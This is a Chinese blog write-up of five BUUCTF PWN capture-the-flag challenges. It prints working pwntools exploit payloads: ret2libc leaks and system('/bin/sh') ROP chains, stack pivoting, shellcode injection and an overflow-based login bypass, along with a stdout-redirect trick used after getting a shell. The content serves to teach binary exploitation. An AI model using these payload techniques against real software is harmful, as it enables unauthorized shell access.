☰
BUUCTF PWN解题:栈溢出与ROP技术实战
2026/11/4 9:52:08 网站建设 项目流程

1. BUUCTF PWN 46-50 详细解题报告

作为一名长期从事二进制安全研究的从业者,我经常通过CTF比赛来保持技术敏锐度。最近在BUUCTF平台上刷题时,遇到了PWN 46-50这五道题目,其中涉及了多种经典的漏洞利用技术。本文将详细记录我的解题思路和实操过程,希望能给正在学习二进制安全的同学一些参考。

1.1 解题环境准备

在开始分析之前,我们需要准备好基本的工具和环境:

  • Ubuntu 18.04/20.04 LTS(推荐)
  • Python 3.x + pwntools
  • GDB + peda/gef/pwndbg插件
  • IDA Pro/Ghidra(反汇编工具)
  • checksec(检查程序保护机制)

提示:在实际操作中,建议使用虚拟环境或Docker容器来隔离不同的工具链,避免版本冲突。

2. xdctf2015_pwn200 解题分析

2.1 题目基本信息

首先检查程序保护机制:

checksec --file=bof

输出结果通常包含:

  • NX: Enabled(栈不可执行)
  • Canary: Disabled(无栈保护)
  • PIE: Disabled(地址固定)

2.2 漏洞分析

这是一个典型的栈溢出漏洞,通过IDA分析可以看到:

void vulnerable_function() { char buf[100]; read(0, buf, 0x200); // 明显的栈溢出 }

溢出点很明确,read函数允许读取0x200字节,但buf只有100字节空间。

2.3 利用思路

由于开启了NX保护,我们需要使用ret2libc技术。具体步骤:

  1. 利用write函数泄露libc地址
  2. 计算libc基址
  3. 获取system和/bin/sh地址
  4. 构造ROP链执行system("/bin/sh")

2.4 详细利用过程

2.4.1 泄露libc地址

关键payload构造:

payload = b'a'*(0x6c+4) + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)

这里:

  • 0x6c是buf到返回地址的距离(通过动态调试确定)
  • write_plt是write函数的PLT地址
  • vuln_addr是漏洞函数地址(用于执行完write后返回)
  • 参数1是文件描述符(stdout)
  • write_got是write函数的GOT地址
  • 参数4是要读取的字节数
2.4.2 计算libc基址

收到write函数的实际地址后:

write_addr = u32(r.recvuntil(b'\xf7')[-4:]) libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write')
2.4.3 获取system和/bin/sh
system = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh')
2.4.4 最终payload
payload = b'a'*(0x6c+4) + p32(system) + p32(vuln_addr) + p32(binsh)

2.5 注意事项

  1. 不同版本的libc中函数偏移可能不同,需要确保使用的libc版本与远程一致
  2. 泄露地址时要注意接收数据的处理,特别是地址可能包含不可打印字符
  3. 在本地测试时,建议使用与远程相同的libc版本

3. wustctf2020_closed 解题分析

3.1 题目特点

这道题的特殊之处在于程序关闭了标准输出和标准错误:

close(1); // 关闭stdout close(2); // 关闭stderr

但标准输入(文件描述符0)仍然保持打开。

3.2 利用思路

我们可以利用文件描述符重定向技术,将标准输出重定向到标准输入:

exec 1>&0

这样,程序的所有输出将被重定向到标准输入,我们就能看到程序的输出了。

3.3 技术细节

在Linux系统中,文件描述符的分配遵循最小可用原则。当程序关闭stdout和stderr后,这两个描述符就变为可用状态。通过重定向,我们可以重新利用这些描述符。

3.4 实际操作

在获取shell后,立即执行重定向命令:

r.sendline(b'exec 1>&0')

之后就可以正常接收程序的输出了。

4. ciscn_2019_s_4 解题分析

4.1 题目分析

这道题的特点是栈空间非常有限,无法直接放置完整的ROP链。我们需要使用栈迁移技术(stack pivoting)来解决。

4.2 栈迁移原理

栈迁移的核心思想是通过修改ebp的值,将栈帧转移到我们控制的内存区域(通常是.bss段或堆上)。主要利用两条指令:

  1. leave = mov esp, ebp; pop ebp
  2. ret = pop eip

4.3 利用步骤

  1. 首先泄露一个栈地址,确定目标迁移位置
  2. 在可控区域构造fake stack frame
  3. 使用leave_ret指令实现栈迁移

4.4 详细利用过程

4.4.1 泄露栈地址

通过部分覆盖ebp,我们可以读取到栈上的地址:

payload = b'a'*0x24 + b'b'*4 p.send(payload) p.recvuntil(b'bbbb') ebp = u32(p.recv(4)) buf = ebp - 0x38
4.4.2 构造fake stack

我们需要构造一个包含system("/bin/sh")的栈帧:

payload1 = (p32(0) + p32(system) + p32(0) + p32(buf+0x10) + b'/bin/sh\x00').ljust(0x28, b'\x00') payload1 += p32(buf) + p32(leave)

这里:

  • p32(0) 是填充的返回地址
  • p32(system) 是system函数地址
  • p32(buf+0x10) 是"/bin/sh"字符串地址
  • 最后的p32(buf)和p32(leave)用于栈迁移

4.5 注意事项

  1. 必须使用send而不是sendline,避免添加额外的换行符
  2. 栈迁移的目标地址需要精确计算,建议通过动态调试确认
  3. 不同的payload构造方式可能导致栈布局不同,需要灵活调整

5. picoctf_2018_shellcode 解题分析

5.1 题目特点

这道题的关键指令是:

call eax

其中eax指向用户输入的缓冲区。这意味着我们可以直接执行输入的shellcode。

5.2 利用思路

  1. 确定缓冲区位置和大小
  2. 编写合适的shellcode
  3. 将shellcode发送到程序

5.3 详细利用过程

使用pwntools生成shellcode:

shellcode = asm(shellcraft.sh()) p.send(bytes(shellcode))

5.4 注意事项

  1. 确保shellcode不包含空字节(\x00),否则可能被截断
  2. 考虑使用编码技术绕过可能的字符过滤
  3. 不同架构的shellcode不能混用(本题是x86)

6. [ZJCTF 2019]Login 解题分析

6.1 题目分析

这是一个C++程序,关键点在于:

call rax

但需要先通过密码验证:

if (strcmp(password, "2jctf_pa5sw0rd") != 0) { exit(0); }

6.2 利用思路

  1. 通过栈溢出覆盖返回地址
  2. 计算正确的偏移量
  3. 将shell地址写入rax

6.3 详细利用过程

计算偏移量:

  • s位于ebp-0x60
  • var_18位于ebp-0x18
  • 密码长度15字节
  • 填充大小 = 0x60 - 0x18 - 15 - 1 = 0x3a

构造payload:

payload = b'2jctf_pa5sw0rd' + b'\x00' + b'a'*0x3a + p64(shell)

6.4 注意事项

  1. 密码字符串需要正确包含终止符
  2. 注意x64架构下的地址是8字节
  3. 确保覆盖的位置准确指向目标变量

7. 总结与经验分享

通过这五道题目的练习,我们可以总结出一些通用的PWN题解题思路:

  1. 信息收集:首先使用checksec查看程序保护机制,用IDA分析程序逻辑
  2. 漏洞定位:寻找明显的漏洞点(如栈溢出、格式化字符串等)
  3. 利用开发:根据保护机制选择合适的利用技术(如ROP、shellcode等)
  4. 调试优化:通过动态调试验证利用的准确性,调整payload

在实际操作中,有几个常见问题需要注意:

  1. 地址偏移计算错误:建议使用动态调试工具(如GDB)验证关键偏移
  2. 字节序问题:网络传输和本地存储的字节序可能不同
  3. 环境差异:本地和远程的环境(如libc版本)可能不同

最后分享一个调试技巧:在开发exp时,可以先用本地测试模式,使用process()代替remote(),加快调试速度。确认exp工作后再切换到远程模式。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询